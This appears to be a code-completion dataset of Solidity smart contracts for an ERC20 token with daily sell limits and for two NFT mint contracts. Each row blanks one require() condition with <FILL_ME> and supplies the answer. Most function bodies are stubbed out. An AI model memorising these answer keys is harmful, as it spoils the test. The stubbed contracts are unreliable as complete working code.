function getSellLimitInfo(address account) external view returns (uint256 soldAmount, uint256 currentLimit, uint256 sellableAmountRemaining, uint256 secondsRemaining) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool buy = false;
bool sell = false;
bool other = false;
if (lpPairs[from]) {
buy = true;
} else if (lpPairs[to]) {
sell = true;
} else {
other = true;
}
if (_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if (buy || sell){
if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if (to != address(dexRouter) && !sell) {
if (!_isExcludedFromLimits[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
}
if (sellLimitsEnabled) {
if (sell) {
if (!_isExcludedFromDailyLimits[from]) {
uint256 currentTime = block.timestamp;
if (userSoldTime[from] + sellTimer < currentTime) {
userSellLimit[from] = (balanceOf(from) * dailySellLimit) / masterTaxDivisor;
userSoldTime[from] = currentTime;
userDailySold[from] = 0;
}
require(<FILL_ME>)
userDailySold[from] += amount;
}
}
}
}
if (sell) {
if (!inSwap) {
if (contractSwapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
uint256 swapAmt = swapAmount;
if (piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; }
if (contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; }
if (contractTokenBalance > 0) {
contractSwap(contractTokenBalance);
}
}
}
}
}
return finalizeTransfer(from, to, amount, buy, sell, other);
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| amount+userDailySold[from]<=userSellLimit[from],"Selling too much per time limit." | 156,327 | amount+userDailySold[from]<=userSellLimit[from] |
"Purchase would exceed max supply" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
require(mPublicSaleIsActive, "Public sale must be active to mint");
require(quantity <= mCapPublic, "Purchase quantity exceeds cap");
require(<FILL_ME>)
require(quantity * mPublicPrice <= msg.value, "Ether value sent is not enough");
_safeMint(msg.sender, quantity);
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| quantity+totalSupply()<=mMaxTokenSupply,"Purchase would exceed max supply" | 156,339 | quantity+totalSupply()<=mMaxTokenSupply |
"Ether value sent is not enough" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
require(mPublicSaleIsActive, "Public sale must be active to mint");
require(quantity <= mCapPublic, "Purchase quantity exceeds cap");
require(quantity + totalSupply() <= mMaxTokenSupply, "Purchase would exceed max supply");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| quantity*mPublicPrice<=msg.value,"Ether value sent is not enough" | 156,339 | quantity*mPublicPrice<=msg.value |
"Ether value sent is not enough" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
require(mPresaleIsActive, "Presale must be active to mint");
require(quantity <= mCapPresale, "Purchase quantity exceeds cap");
require(quantity + totalSupply() <= mMaxTokenSupply, "Purchase would exceed max supply");
require(<FILL_ME>)
require(MerkleProof.verify(proof, mMerkleRoot, keccak256(abi.encodePacked(_msgSender()))),"Address not whitelisted");
_safeMint(msg.sender, quantity);
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| quantity*mPresalePrice<=msg.value,"Ether value sent is not enough" | 156,339 | quantity*mPresalePrice<=msg.value |
"Address not whitelisted" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
require(mPresaleIsActive, "Presale must be active to mint");
require(quantity <= mCapPresale, "Purchase quantity exceeds cap");
require(quantity + totalSupply() <= mMaxTokenSupply, "Purchase would exceed max supply");
require(quantity * mPresalePrice <= msg.value, "Ether value sent is not enough");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| MerkleProof.verify(proof,mMerkleRoot,keccak256(abi.encodePacked(_msgSender()))),"Address not whitelisted" | 156,339 | MerkleProof.verify(proof,mMerkleRoot,keccak256(abi.encodePacked(_msgSender()))) |
"Reserve mint would exceed max supply" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
require(recipients.length == quantities.length, "Array lengths must match");
// Ensure total quantities doesn't exceed supply
uint256 totalQuantity = 0;
for(uint256 i = 0; i < quantities.length; i++){
totalQuantity += quantities[i];
}
require(<FILL_ME>)
// Mint for each address
for (uint256 i = 0; i < recipients.length; i++) {
_safeMint(recipients[i], quantities[i]);
}
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| totalQuantity+totalSupply()<=mMaxTokenSupply,"Reserve mint would exceed max supply" | 156,339 | totalQuantity+totalSupply()<=mMaxTokenSupply |
"Have not met current threshold" | pragma solidity ^0.8.7;
contract MetaWomenNFT2 is Ownable, ERC721A, ReentrancyGuard {
// Token/Mint data
uint256 public mMaxTokenSupply = 8350;
uint256 public mCapPublic = 20;
uint256 public mCapPresale = 3;
uint256 public mPublicPrice = 0.08 ether;
uint256 public mPresalePrice = 0.06 ether;
bool public mPublicSaleIsActive = false;
bool public mPresaleIsActive = false;
string private mBaseURI = "";
bytes32 public mMerkleRoot;
// Payout data
uint8 private mPayoutThreshold = 20;
constructor() ERC721A("MetaWomenNFT2", "MW2") {
}
/// Functions for minting
function mint(uint256 quantity) external payable {
}
function mintPresale(uint256 quantity, bytes32[] calldata proof) external payable {
}
function reserveMint(address[] calldata recipients, uint256[] calldata quantities) external onlyOwner nonReentrant {
}
// /// Functions for managing token metadata
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Functions to change mint state - ONLY OWNER
function flipPublicSaleState() external onlyOwner {
}
function flipPresaleState() external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
// /// Functions for ether withdrawal - ONLY OWNER
function thresholdWithdraw() external onlyOwner nonReentrant {
require(<FILL_ME>)
// L 0.75 - 0xC23f46Fd7bE3ef365C0bf243e34e26505D7f9298
address mPM = 0x078dC8FF71Ebf938ffe746De7e2c926f64b14F1E;
address mTE = 0x12D02E5193e547f4dC5c43CFAab2B3bEb1986cc4;
address mCN = 0xCCc0c77AA850557aF8d48C9617ea65521E5F8485;
address mCharity = 0xe41f3C86a95190D67084792678263B63CCeFBC78;
address mCompany = 0x898D764fb76a566c27692d5077f01c2FbB93a72C;
bool success = false;
if(mPayoutThreshold == 20){
(success, ) = payable(mPM).call{value: 25 ether}("");
require(success, "Transfer to PM failed.");
(success, ) = payable(mCharity).call{value: 17.5 ether}("");
require(success, "Transfer to Charity failed.");
(success, ) = payable(mTE).call{value: 6 ether}("");
require(success, "Transfer to TE failed.");
(success, ) = payable(mCN).call{value: 6 ether}("");
require(success, "Transfer to CN failed.");
mPayoutThreshold += 20;
}
else if(mPayoutThreshold == 40){
(success, ) = payable(mPM).call{value: 25 ether}("");
require(success, "Transfer to PM failed.");
(success, ) = payable(mCompany).call{value: 30 ether}("");
require(success, "Transfer to Company failed.");
(success, ) = payable(mTE).call{value: 10 ether}("");
require(success, "Transfer to TE failed.");
(success, ) = payable(mCN).call{value: 10 ether}("");
require(success, "Transfer to CN failed.");
mPayoutThreshold += 20;
}
else if(mPayoutThreshold == 60){
(success, ) = payable(mCompany).call{value: 18 ether}("");
require(success, "Transfer to Company failed.");
(success, ) = payable(mTE).call{value: 25 ether}("");
require(success, "Transfer to TE failed.");
(success, ) = payable(mCN).call{value: 25 ether}("");
require(success, "Transfer to CN failed.");
mPayoutThreshold += 20;
}
else if(mPayoutThreshold == 80){
(success, ) = payable(mCompany).call{value: 30 ether}("");
require(success, "Transfer to Company failed.");
(success, ) = payable(mTE).call{value: 20 ether}("");
require(success, "Transfer to TE failed.");
(success, ) = payable(mCN).call{value: 20 ether}("");
require(success, "Transfer to CN failed.");
mPayoutThreshold += 20;
}
else if(mPayoutThreshold == 100){
(success, ) = payable(mCompany).call{value: 50 ether}("");
require(success, "Transfer to Company failed.");
(success, ) = payable(mTE).call{value: 20 ether}("");
require(success, "Transfer to TE failed.");
(success, ) = payable(mCN).call{value: 20 ether}("");
require(success, "Transfer to CN failed.");
mPayoutThreshold += 20;
}
}
function forceWithdraw(uint256 amount, address payable to) external onlyOwner nonReentrant {
}
}
| totalSupply()>=mMaxTokenSupply*mPayoutThreshold/100,"Have not met current threshold" | 156,339 | totalSupply()>=mMaxTokenSupply*mPayoutThreshold/100 |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
require(msg.sender == tx.origin, "EOA only");
require(<FILL_ME>)
require(mintActive(mintType), "Sale is not active");
_;
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| (totalSupply()+_mintAmount)<=SUPPLY,"Max supply exceeded" | 156,350 | (totalSupply()+_mintAmount)<=SUPPLY |
"Sale is not active" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
require(msg.sender == tx.origin, "EOA only");
require((totalSupply() + _mintAmount) <= SUPPLY, "Max supply exceeded");
require(<FILL_ME>)
_;
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| mintActive(mintType),"Sale is not active" | 156,350 | mintActive(mintType) |
"One pass per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
require(msg.value >= price, "Insufficient funds!");
require(<FILL_ME>)
require(
MerkleProof.verify(
_merkleProof,
whiteListMerkleI,
keccak256(abi.encodePacked(msg.sender)) // leaf
),
"Invalid Merkle Proof."
);
walletMints[msg.sender]++;
_mint(msg.sender, 1);
// if mint and stake call {stake} on {AGStakeFull}
if (_stake) {
uint256[] memory _tokensToStake = new uint256[](1);
_tokensToStake[0] = _nextTokenId() - 1;
AGStake.stakeG2(_tokensToStake);
}
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| walletMints[msg.sender]<2,"One pass per wallet" | 156,350 | walletMints[msg.sender]<2 |
"Invalid Merkle Proof." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
require(msg.value >= price, "Insufficient funds!");
require(walletMints[msg.sender] < 2, "One pass per wallet");
require(<FILL_ME>)
walletMints[msg.sender]++;
_mint(msg.sender, 1);
// if mint and stake call {stake} on {AGStakeFull}
if (_stake) {
uint256[] memory _tokensToStake = new uint256[](1);
_tokensToStake[0] = _nextTokenId() - 1;
AGStake.stakeG2(_tokensToStake);
}
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
